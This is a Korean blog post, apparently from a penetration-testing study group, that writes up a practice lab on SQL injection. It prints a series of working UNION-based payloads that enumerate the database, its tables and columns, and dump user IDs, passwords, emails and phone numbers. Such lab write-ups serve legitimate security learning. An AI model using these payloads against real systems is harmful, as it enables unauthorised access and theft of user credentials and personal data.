모의해킹 스터디/Week6

[SQL Injection] 특정 데이터만 출력하기

protruser 2024. 5. 27. 09:02

 

<문제> 검색 창 로직을 이용하여 doldol 데이터만 추출하기

최종 데이터

 

이번 모의해킹 스터디에서 배운 과정을 적극적으로 활용해야한다.

 

1. SQL Injection 포인트 찾기
2. COLUMN 개수 찾기
3. 출력되는 column 위치 찾기
4. DB 이름 확인
5. Table 이름 확인
6. Column 이름 확인
7. 데이터 추출

 


1. SQL Injection 포인트 찾기

검색 창의 입력 값에 따라 데이터가 변하는 것을 확인하였고, 여러 입력 값을 넣어보았다.

 

입력값 : (공백)

 

 

입력값 : %'

 

 

입력값 : ' or '1' = '1

 

or True 연산을 사용하여 모든 정보를 얻을 수 있었다.

 

그리고 비밀번호를 입력하는 부분이기 때문에, 비밀번호로 추정되는 aaaa, qqqq, 1234, test1234를 입력해본 결과

1234를 입력했을 경우에만 데이터가 출력되는 것을 확인하였다.

 

위의 정보로 검색기능 로직은 아래와 같을 것이라고 생각했다.

SELECT * FROM 테이블 WHERE 칼럼1='normaltic' and 칼럼2='______'

 

 

 

위의 정보를 모두 종합해봤을 때, doldol 데이터를 얻을 수 있는 정보는 충분하지만 doldol 이름만 출력하기 위해 7단계 과정을 모두 거치려고 한다.

 

 

2. COLUMN 개수 찾기

 

SELECT * FROM 테이블 WHERE 칼럼1='normaltic' and 칼럼2='1234' order by 4#'

 

칼럼 개수는 order by 4까지 정상적으로 작동하고, 5 이상은 에러가 뜨는 것을 확인하였다.

 

따라서 숨겨진 칼럼은 없으며, 화면에 나온 4개의 칼럼 모두 검색으로만 조회가 가능함을 알 수 있었다.

 

 

3. 출력되는 column 위치 찾기

 

 

SELECT * FROM 테이블 WHERE 칼럼1='normaltic' and 칼럼2='1234' union SELECT 1,2,3,4#'

 

이전에 히든 칼럼이 존재하지 않음을 확인해서 3번 과정이 필요없을 수 있지만, 한번 더 확인하는 차원에서 진행했다.

 

 

4. DB 이름 확인

SELECT * FROM 테이블 WHERE 칼럼1='normaltic' and 칼럼2='1234' union SELECT 1,2,3,database()#'

 

DB명을 조회하였고, segfault_sql 이라는 값을 얻을 수 있었다.

 

 

5. Table 이름 확인

SELECT * FROM 테이블 WHERE 칼럼1='normaltic' and 칼럼2='1234' union select 1,2,3,table_name from information_schema.tables where table_schema='segfault_sql'#

 

이전에 찾은 DB명을 통해 테이블 명을 알아냈다.

테이블 명 : game, member, secret, secret_member

doldol 데이터는 member라는 테이블에 있을 것이라고 생각했다.

 

 

6. Column 이름 확인

SELECT * FROM 테이블 WHERE 칼럼1='normaltic' and 칼럼2='1234' union select 1,2,3,column_name from information_schema.columns where table_name = 'member'#

 

테이블 명 member를 이용하여 칼럼 이름을 알아냈다.

칼럼 명 : user_id, user_pass, name, user_level, info, id, pass, email

칼럼이 여러개 있는데, 다음 과정에서 잘 조합하여 normaltic 데이터와 같게 만들려고 한다.

 

 

7. 데이터 추출

 

SELECT * FROM 테이블 WHERE 칼럼1='normaltic' and 칼럼2='1234' union select id, pass, email, info from member#

 

최종적으로 정보를 얻을 수 있었다.

doldol 이름만 따로 뽑는 것도 가능했다.

 

SELECT * FROM 테이블 WHERE 칼럼1='normaltic' and 칼럼2='1234' union select id,2,3,4 from member where id='doldol'#

 

 

8. 최종 데이터

문제가 간단해서 맨 처음 데이터가 실제로 요구하는 데이터가 아닐 것이라고 생각해서 다른 테이블에서도 데이터를 추출해보았다.

SELECT * FROM member WHERE id='normaltic' and pass='' union select name,phone,email,level from secret_member #

 

secret_member에 doldol 이름과 관련한 추가 데이터를 확인할 수 있었다.